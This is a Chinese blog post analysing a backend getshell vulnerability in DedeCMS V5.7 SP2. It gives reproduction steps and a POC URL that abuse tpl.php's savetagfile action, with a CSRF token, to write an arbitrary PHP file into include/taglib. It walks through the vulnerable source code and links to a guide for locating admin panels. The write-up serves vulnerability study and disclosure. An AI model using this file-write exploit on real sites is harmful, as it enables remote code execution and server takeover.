DedeCMS V5.7 SP2后台Getshell 代码执行漏洞(每日一洞)
2018-03-10

前言

这两天费劲脑力去撩小姐姐,感觉好难啊,还不如审计代码。

环境

Web: phpstudy
System: Windows 10 X64
Browser: Firefox Quantum
Python version : 2.7
Tools: PhpStorm 2017.1.1

复现

漏洞利用

  1. 首先访问域名 + /dede/tpl.php?action=upload,在这个页面的源代码中获取到token值。
  2. 访问以下地址:
    域名 + /dede/tpl.php?filename=shell.lib.php&action=savetagfile&content=<?php%20phpinfo();?>&token=刚才的token值
  3. 访问shell的地址:

域名 + /include/taglib/shell.lib.php

漏洞分析

代码位置和代码

位置:
dedecms\dede\tpl.php
代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
if(empty($filename))    $filename = '';
$filename = preg_replace("#[\/\\\\]#", '', $filename);

中间省略。。。。。。。。。

else if($action=='savetagfile')
{
csrf_check();
if(!preg_match("#^[a-z0-9_-]{1,}\.lib\.php$#i", $filename))
{
ShowMsg('文件名不合法,不允许进行操作!', '-1');
exit();
}
require_once(DEDEINC.'/oxwindow.class.php');
$tagname = preg_replace("#\.lib\.php$#i", "", $filename);
$content = stripslashes($content);
$truefile = DEDEINC.'/taglib/'.$filename;
$fp = fopen($truefile, 'w');
fwrite($fp, $content);
fclose($fp);

分析过程

  • 由于dedecms全局变量注册的特性,所以这里的大部分变量都是可控的。
    这里有个一个函数preg_replace,是把匹配到的字符替换为空,我们的文件名没有包含类似/,\所以不用理会。
1
2
if(empty($filename))    $filename = '';
$filename = preg_replace("#[\/\\\\]#", '', $filename);
  • 等下要传值一个savetagfile才能进行下面的语句。
    这里有一个csrf_check()的函数,可以看到这里是验证token的位置,待会我们也要把token带进去。
    我们还是直接看$content = stripslashes($content);$truefile = DEDEINC.'/taglib/'.$filename;这两句,要写入的$content是经过stripslashes函数的过滤,只要我们要写入的php语句不包含反斜杠就行了。然后$truefile这个就是等会要写入文件的文件流了,还包含了写入的路径。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
else if($action=='savetagfile')
{
csrf_check();
if(!preg_match("#^[a-z0-9_-]{1,}\.lib\.php$#i", $filename))
{
ShowMsg('文件名不合法,不允许进行操作!', '-1');
exit();
}
require_once(DEDEINC.'/oxwindow.class.php');
$tagname = preg_replace("#\.lib\.php$#i", "", $filename);
$content = stripslashes($content);
$truefile = DEDEINC.'/taglib/'.$filename;
$fp = fopen($truefile, 'w');
fwrite($fp, $content);
fclose($fp);

\dede\config.php

1
2
3
4
5
6
7
8
9
function csrf_check()
{
global $token;

if(!isset($token) || strcasecmp($token, $_SESSION['token']) != 0){
echo '<a href="http://bbs.dedecms.com/907721.html">DedeCMS:CSRF Token Check Failed!</a>';
exit;
}
}

构造POC

有人说没有后台还是一样没卵用,可以看下先知的一篇找后台地址的文章:https://xianzhi.aliyun.com/forum/topic/2064

刚才上面分析了需要的传入的参数有:filename,action,content,token
token上面复现的时候已经说过怎么获取这个值了,
最终的构造:
http://dedecms.test/dede/tpl.php?filename=文件名字.lib.php&action=savetagfile&content=文件内容&token=获取到的token

结束

这个也不写python脚本了,因为要用到后台也很难实现批量化。

已经两天没有发文章了,一定要坚持下去,比你牛逼的人还比你努力是一种什么体验?

参考

http://www.freebuf.com/vuls/164035.html

源码下载:https://pan.lanzou.com/i0mmfih